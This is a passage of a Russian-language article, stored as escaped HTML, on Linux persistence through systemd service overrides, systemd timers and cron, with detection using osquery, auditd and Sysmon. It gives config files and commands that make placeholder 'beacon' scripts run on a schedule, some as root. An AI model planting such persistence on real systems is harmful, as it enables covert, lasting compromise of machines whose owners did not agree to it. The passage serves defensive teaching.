\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438:<\/p>\n<ul>\n<li>\n<p>\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0444\u0430\u0439\u043b <code>\/lib\/systemd\/system\/nginx.service<\/code> \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u043d\u043e \u043f\u0440\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 nginx \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d.<\/p>\n<\/li>\n<li>\n<p>\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c <code>nginx.service<\/code> \u0432 \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u044b\u0435 \u043f\u0443\u0442\u0438, \u043a\u0430\u043a \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 5.2.1 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 <code>\/etc\/systemd\/system<\/code> \u0438\u043b\u0438 <code>\/usr\/local\/lib\/systemd\/system<\/code>.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0442\u044c \u0444\u0430\u0439\u043b <code>\/etc\/systemd\/system\/nginx.service.d\/local.conf<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0441\u0435\u0440\u0432\u0438\u0441\u0430.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <code>\/etc\/systemd\/system\/nginx.service.d\/local.conf<\/code>:<\/p>\n<pre><code class=\"bash\">[Service] ExecStartPre=\/root\/run.sh <\/code><\/pre>\n<p>\u041a\u0430\u043a \u0438 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u0441 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432 \u0431\u0435\u043b\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u0438 \u043f\u043e\u0438\u0441\u043a\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a.<\/p>\n<h2> 6 \u0417\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: \u0422\u0430\u0439\u043c\u0435\u0440\u044b Systemd  <\/h2>\n<p>MITRE: <a href=\"https:\/\/attack.mitre.org\/techniques\/T1053\/006\/\" rel=\"noopener noreferrer nofollow\">https:\/\/attack.mitre.org\/techniques\/T1053\/006\/<\/a><\/p>\n<p><strong>6.1 \u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432 systemd<\/strong><\/p>\n<p>\u0420\u0430\u043d\u0435\u0435 \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041d\u043e \u044d\u0442\u043e \u043d\u0435 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u2014 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432.<\/p>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0442\u0430\u0439\u043c\u0435\u0440\u044b \u043d\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b: <code>systemctl list-timers<\/code><\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f8a\/c96\/e8d\/f8ac96e8d005c474478370062aa4077a.png\" width=\"1473\" height=\"181\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/f8a\/c96\/e8d\/f8ac96e8d005c474478370062aa4077a.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f8a\/c96\/e8d\/f8ac96e8d005c474478370062aa4077a.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u042d\u0442\u043e \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 <strong>cron<\/strong>.<\/p>\n<p>\u0414\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u043e \u0434\u0432\u0443\u0445 unit-\u0444\u0430\u0439\u043b\u0430\u0445:<\/p>\n<ul>\n<li>\n<p><code>SERVICE_NAME.timer<\/code><\/p>\n<\/li>\n<li>\n<p><code>SERVICE_NAME.service<\/code><\/p>\n<\/li>\n<\/ul>\n<p><code>.service<\/code> \u0444\u0430\u0439\u043b \u043f\u043e\u0447\u0442\u0438 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435, \u043a\u0430\u043a \u0442\u043e\u0442, \u0447\u0442\u043e \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438 \u0440\u0430\u043d\u0435\u0435.<\/p>\n<p>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432. \u0415\u0441\u043b\u0438 \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0442\u0430\u0439\u043c\u0435\u0440\u0430, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"bash\"># systemctl status google-oslogin-cache.timer  \u25cf google-oslogin-cache.timer - NSS cache refresh timer    Loaded: loaded (\/lib\/systemd\/system\/google-oslogin-cache.timer; enabled; vendor preset: enabled)    Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago<\/code><\/pre>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0444\u0430\u0439\u043b <code>google-oslogin-cache.timer<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e \u043f\u0443\u0442\u0438 <code>\/lib\/systemd\/system\/google-oslogin-cache.timer<\/code>.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 <code>google-oslogin-cache.timer<\/code>, \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c:<\/p>\n<pre><code class=\"xml\">[Unit] Description=NSS cache refresh timer  [Timer] OnBootSec=5 OnUnitActiveSec=6h  [Install] WantedBy=timers.target<\/code><\/pre>\n<p>\u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e:<\/p>\n<ul>\n<li>\n<p><code>OnUnitActiveSec=6h<\/code>: \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0436\u0434\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0434 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0447\u0435\u0440\u0435\u0437 6 \u0447\u0430\u0441\u043e\u0432)<\/p>\n<\/li>\n<li>\n<p><code>WantedBy=timers.target<\/code>: \u044d\u0442\u043e\u0442 <code>.timer<\/code> \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u043c \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <code>timers.target<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>google-oslogin-cache.service<\/code> \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439. \u0421\u0435\u043a\u0446\u0438\u044f <code>[Install]<\/code> \u043f\u0443\u0441\u0442\u0430\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0438\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0430\u0439\u043c\u0435\u0440\u0443.<\/p>\n<pre><code>[Unit] Description=NSS cache refresh  [Service] Type=oneshot ExecStart=\/usr\/bin\/google_oslogin_nss_cache<\/code><\/pre>\n<p><strong>6.2 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0442\u0430\u0439\u043c\u0435\u0440\u0430<\/strong><\/p>\n<p>\u0418\u0442\u0430\u043a, \u0442\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0442\u0430\u0439\u043c\u0435\u0440.<\/p>\n<p>\u041c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0444\u0430\u0439\u043b <code>\/etc\/systemd\/system\/scheduled_bad.timer<\/code>:<\/p>\n<pre><code>[Unit] Description=Bad timer  [Timer] OnBootSec=5 OnUnitActiveSec=5m  [Install] WantedBy=timers.target<\/code><\/pre>\n<p> \u041c\u044b \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e \u043f\u0443\u0442\u0438 <code>\/etc\/systemd\/system\/scheduled_bad.service<\/code>.  <\/p>\n<pre><code>[Unit] Description=Bad timer  [Service] ExecStart=\/opt\/beacon.sh<\/code><\/pre>\n<p> \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0442\u0430\u0439\u043c\u0435\u0440 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0435\u0433\u043e.  <\/p>\n<pre><code class=\"bash\"># systemctl daemon-reload  systemctl enable scheduled_bad.timer systemctl start scheduled_bad.timer<\/code><\/pre>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 enable \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0430\u0440\u0433\u0435\u0442\u0430, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 WantedBy.  <\/p>\n<pre><code>Created symlink \/etc\/systemd\/system\/timers.target.wants\/scheduled_bad.timer \u2192  \/etc\/systemd\/system\/scheduled_bad.timer.<\/code><\/pre>\n<p><strong>6.3 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432<\/strong><\/p>\n<p>\u041c\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d\u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f systemd-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.<\/p>\n<p>\u041a\u0440\u0430\u0442\u043a\u043e: \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 <code>.service<\/code> \u0438 <code>.timer<\/code> \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432:<\/p>\n<ul>\n<li>\n<p><code>\/etc\/systemd\/system<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/usr\/local\/lib\/systemd\/system<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/lib\/systemd\/system<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/usr\/lib\/systemd\/system<\/code><\/p>\n<\/li>\n<\/ul>\n<p><strong>6.4 \u0421\u043f\u0438\u0441\u043e\u043a \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e osquery<\/strong><\/p>\n<pre><code class=\"sql\">SELECT id, description, sub_state, fragment_path   FROM systemd_units  WHERE id LIKE \"%timer\";<\/code><\/pre>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/65e\/7a2\/e21\/65e7a2e21530b85e342ced1d8f35e2f8.png\" width=\"1377\" height=\"255\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/65e\/7a2\/e21\/65e7a2e21530b85e342ced1d8f35e2f8.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/65e\/7a2\/e21\/65e7a2e21530b85e342ced1d8f35e2f8.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h2> 7 \u0417\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: Cron  <\/h2>\n<p>MITRE: <a href=\"https:\/\/attack.mitre.org\/techniques\/T1053\/003\/\" rel=\"noopener noreferrer nofollow\">https:\/\/attack.mitre.org\/techniques\/T1053\/003\/<\/a><\/p>\n<p><strong>7.1 \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 cron<\/strong><\/p>\n<p><strong>Cron <\/strong>\u2014 \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438:<\/p>\n<ul>\n<li>\n<p><code>\/etc\/crontab<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.d\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.{hourly,daily,weekly,monthly}\/*<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/var\/spool\/cron\/crontab\/*<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c cron-\u0437\u0430\u0434\u0430\u043d\u0438\u044f. \u0414\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a <a href=\"https:\/\/crontab.guru\/examples.html\" rel=\"noopener noreferrer nofollow\">https:\/\/crontab.guru\/examples.html<\/a>.<\/p>\n<p><strong>7.2 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 cron<\/strong><\/p>\n<p><strong>7.2.1 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 crontab<\/strong><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 crontab \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>crontab -e<\/code>. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u0444\u0430\u0439\u043b \u0432 <code>\/var\/spool\/cron\/crontab\/&lt;user&gt;<\/code>.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c:<\/p>\n<pre><code class=\"bash\">*\/5 *  * * *    \/opt\/beacon.sh<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c <code>\/opt\/beacon.sh<\/code> \u043a\u0430\u0436\u0434\u044b\u0435 5 \u043c\u0438\u043d\u0443\u0442. \u0415\u0441\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>crontab -e<\/code> \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 root, \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u043f\u0443\u0442\u0438 <code>\/var\/spool\/cron\/crontab\/root<\/code>.<\/p>\n<p><strong>7.2.2 <\/strong><code><strong>\/etc\/crontab<\/strong><\/code><\/p>\n<p>\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b <code>\/etc\/crontab<\/code> \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 <code>\/etc\/cron.d\/&lt;\u041b\u042e\u0411\u041e\u0415_\u0418\u041c\u042f&gt;<\/code>. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 <code>\/var\/spool\/cron\/*<\/code>, \u0433\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u0447 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0442\u043e\u0433\u043e, \u0447\u0435\u0439 \u044d\u0442\u043e crontab, \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 <code>\/etc\/crontab<\/code> \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0434\u0430\u0447\u0430.<\/p>\n<p>\u0414\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435:<code> vi \/etc\/crontab\/ <\/code> <\/p>\n<pre><code>*\/10 *  * * *  root  \/opt\/beacon.sh<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c <code>\/opt\/beacon.sh<\/code> \u043a\u0430\u0436\u0434\u044b\u0435 10 \u043c\u0438\u043d\u0443\u0442 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.<\/p>\n<p><strong>7.2.3 cron-\u0437\u0430\u0434\u0430\u043d\u0438\u044f hourly, daily, weekly \u0438 monthly<\/strong><\/p>\n<p>\u041a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 <code>\/etc\/cron.hourly\/<\/code>, <code>\/etc\/cron.daily\/<\/code>, <code>\/etc\/cron.weekly\/<\/code>, <code>\/etc\/cron.monthly\/<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0435\u0436\u0435\u0447\u0430\u0441\u043d\u043e, \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e, \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e \u0438\u043b\u0438 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u043e.<\/p>\n<p><strong>7.3 \u041c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0432 cron<\/strong><\/p>\n<p><strong>7.3.1 Auditd<\/strong><\/p>\n<p>\u0412 \u043d\u0430\u0448\u0438\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 <a href=\"https:\/\/github.com\/Neo23x0\/auditd\/blob\/master\/audit.rules\" rel=\"noopener noreferrer nofollow\">Neo23x0\/auditd<\/a> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430:<\/p>\n<pre><code>-w \/etc\/cron.allow -p wa -k cron -w \/etc\/cron.deny -p wa -k cron -w \/etc\/cron.d\/ -p wa -k cron -w \/etc\/cron.daily\/ -p wa -k cron -w \/etc\/cron.hourly\/ -p wa -k cron -w \/etc\/cron.monthly\/ -p wa -k cron -w \/etc\/cron.weekly\/ -p wa -k cron -w \/etc\/crontab -p wa -k cron -w \/var\/spool\/cron\/ -k cron<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u043a\u0435\u0439\u0441\u044b \u0441 cron.<\/p>\n<p><strong>7.3.2 Sysmon<\/strong><\/p>\n<p>\u0414\u043b\u044f sysmon \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u043e <a href=\"https:\/\/github.com\/microsoft\/MSTIC-Sysmon\/blob\/main\/linux\/configs\/attack-based\/persistence\/T1053.003_Cron_Activity.xml\" rel=\"noopener noreferrer nofollow\"><code>T1053.003_Cron_Activity.xml<\/code><\/a>, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u0435\u0439 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0445 